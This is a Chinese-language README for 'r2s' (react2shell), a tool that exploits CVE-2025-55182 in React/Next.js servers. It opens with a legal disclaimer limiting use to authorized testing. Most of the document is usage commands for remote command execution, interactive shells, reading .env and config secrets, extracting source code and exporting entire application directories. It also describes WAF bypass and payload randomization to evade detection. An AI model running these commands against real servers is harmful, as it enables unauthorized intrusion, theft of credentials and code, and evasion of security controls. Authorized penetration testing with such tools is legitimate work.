---

## ⚠️ 法律免责声明

**重要提示：使用此工具前请阅读**

1. **此工具仅用于合法安全测试**
   - ✅ 测试您自己的应用程序
   - ✅ 测试您已获得书面授权进行测试的应用程序
   - ✅ 教育目的和安全研究
   - ❌ **切勿在您不拥有或未经许可测试的系统上使用**
   - ❌ **切勿用于恶意目的**

2. **使用此工具即表示您同意：**
   - 您仅在您拥有或拥有明确书面许可的系统上使用它
   - 您了解未经授权访问计算机系统是非法的
   - 您对自己的行为承担全部责任
   - 作者不对任何滥用此工具的行为负责

3. **法律后果：**
   - 在大多数国家，未经授权访问计算机系统属于犯罪行为
   - 您可能面临刑事指控、罚款和监禁
   - 测试前务必获得书面许可

4. **此工具按“现状”提供，不附带任何形式的担保**

**如果您未满 18 岁，请确保在使用此工具前有成人监督并获得许可。**

---

## ✨ 功能特性

### 核心能力
- 🔍 **漏洞检测** - 快速测试服务器是否存在 CVE-2025-55182 漏洞
- 💻 **交互式 Shell** - 通过 HTTPS 提供完整的交互式 shell 会话，支持命令历史
- 📁 **文件操作** - 列目录、读取文件以及导出文件/归档
- 🔐 **机密信息提取** - 尝试读取应用程序机密（.env 文件、配置文件）
- 📄 **代码提取** - 尝试读取应用程序源代码
- 🖥️ **系统信息** - 收集操作系统信息、主机名、用户和环境变量

### 高级功能
- 🚀 **自动预热 Payload** - 自动优化 payload 以获得最佳结果
- ⚡ **并行执行** - 同时运行多个命令
- 🎲 **Payload 随机化** - 通过动态 payload 规避检测
- 🛠️ **漏洞利用模块** - Metasploit 风格模块系统（env_dump、file_search、network_scan、process_list）
- 🔄 **重定向处理** - 自动跟随 HTTP 重定向（301、302、303、307、308）
- 🎨 **精美的界面** - 彩色输出，便于阅读
- 📊 **全面报告** - 自动保存 JSON、HTML、TXT 格式的报告，并提供特定操作格式化器
- ⚙️ **配置系统** - 基于 JSON 的配置，带交互式设置面板
- 📦 **导出功能** - 将单个文件或整个应用目录导出为 zip 归档
- 🔒 **WAF 绕过** - 多种绕过技术（⚠️ 不保证成功 - 请参阅下方限制）

### 报告与日志
- 📝 **自动保存报告** - 自动将报告保存到 `~/.r2s/reports/`，使用人类可读的时间戳
- 📋 **操作特定格式** - 针对不同操作（shell、test、secrets 等）使用不同的报告格式
- 📜 **命令历史** - 持久化命令历史，保存到 `~/.r2s/history`
- 🔍 **审计追踪** - 将所有操作的详细日志记录到 `~/.r2s/logs/audit.log`
- 🎨 **HTML 报告** - 美观的 HTML 报告，支持深色/浅色模式、复制按钮和代码块

---

## 📦 安装

### 选项 1：从源代码构建（推荐）

1. **克隆仓库：**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---

## 🚀 快速开始

### 基本漏洞测试```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### 本地测试

有关在本地运行易受攻击的应用的说明，请参阅 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md)。

---

## 📚 使用示例

### 快速命令参考

**最常用命令：**
- `r2s -u URL -t` - 测试是否存在漏洞（最常用）
- `r2s -u URL --shell` - 启动交互式 shell
- `r2s --targets FILE -t` - 批量扫描多个目标
- `r2s -u URL --system-info` - 获取系统信息
- `r2s -u URL --secrets` - 尝试读取机密信息
- `r2s -u URL --export-archive` - 将整个应用导出为 zip

**⚠️ 请记住**：除非目标是 Windows，否则不要使用 `--windows`！

---

### 基本操作```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### 漏洞利用模块```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### 机密与代码提取```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### 高级选项```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### 日志与审计```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### 报告```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. 安全审计```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

详细说明请参阅 [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md)。

---

## 🏗️ 架构

R2S 采用模块化架构，以利于可维护性和可扩展性：```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "连接错误"
- 检查服务器是否正在运行
- 验证 URL 是否正确
- 检查防火墙设置
- 尝试增加超时时间: `--timeout 30`

### "请求被阻止"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### WAF 绕过限制

**⚠️ 重要提示：** 本工具中的 WAF 绕过技术**不能保证**有效，并且存在以下局限性：

- **并非通用**：不同的 WAF 使用不同的检测方法。适用于一种 WAF 的方法可能不适用于另一种。
- **静态检测**：某些 WAF 使用可被绕过的静态模式匹配，但现代 WAF 使用行为分析。
- **速率限制**：许多 WAF 实施速率限制，可阻止重复尝试。
- **机器学习**：高级 WAF 使用自适应并学习攻击模式的 ML 模型。
- **Cloudflare/AWS WAF**：企业级 WAF（Cloudflare、AWS WAF 等）极难绕过。
- **不保证有效**：这些绕过技术是实验性的，可能无法应对配置完善的 WAF。

**最佳实践：**
- 将 WAF 绕过作为最后手段
- 尝试不同的请求头策略（`--header-strategy`）
- 与 `--randomize` 结合使用以获得更好结果
- 明白某些目标可能无法绕过
- 始终在您拥有或有权测试的系统上进行测试

### 构建问题```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

这将移除：
- `build/` 目录（PyInstaller 构建文件）
- `dist/` 目录（已编译的二进制文件）
- `__pycache__/` 目录（Python 缓存，递归删除）
- `*.pyc` 文件（已编译的 Python 字节码）
- `*.pyo` 文件（优化的 Python 字节码）
- `*.spec` 文件（PyInstaller 规范文件）

**注意：** 此操作仅删除构建产物，不会删除您的源代码。清理过程是安全的，并会在继续前请求确认。

---

## 📁 文件结构```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation